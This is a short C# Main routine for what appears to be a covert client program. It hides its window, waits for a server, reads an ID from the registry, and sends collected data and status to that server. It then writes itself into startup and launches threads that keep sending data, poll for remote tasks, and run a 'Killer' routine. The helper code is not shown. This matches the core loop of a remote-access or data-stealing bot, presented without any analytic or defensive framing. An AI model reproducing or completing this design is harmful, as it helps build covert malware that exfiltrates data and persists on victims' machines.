static void Main(string[] args) { AppLibrary.Hide(); Console.ForegroundColor = ConsoleColor.Yellow; while (Struct.Lan == false) { if (CoreLibrary.CheckServer() == true) { Struct.Lan = true; } } if (CoreLibrary.CheckID() == false) { Register RegisterForm = new Register(); RegisterForm.ShowDialog(); } else { Struct.ID = Core_Regedit.Read("ID"); CoreLibrary.CreateData(); CoreLibrary.SendStatus(Struct.ID); CoreLibrary.SendData(Struct.ID, CoreLibrary.CreateData()); Core_Regedit.AddStatup(); Thread Thread1 = new Thread(new ThreadStart(SendStatus)); Thread1.Start(); Thread Thread2 = new Thread(new ThreadStart(SendData)); Thread2.Start(); Thread Thread3 = new Thread(new ThreadStart(CheckTask)); Thread3.Start(); Thread Thread4 = new Thread(new ThreadStart(Killer)); Thread4.Start(); } }